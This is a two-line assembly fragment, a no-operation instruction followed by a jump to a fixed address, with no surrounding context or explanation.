nop
jmp 0x431219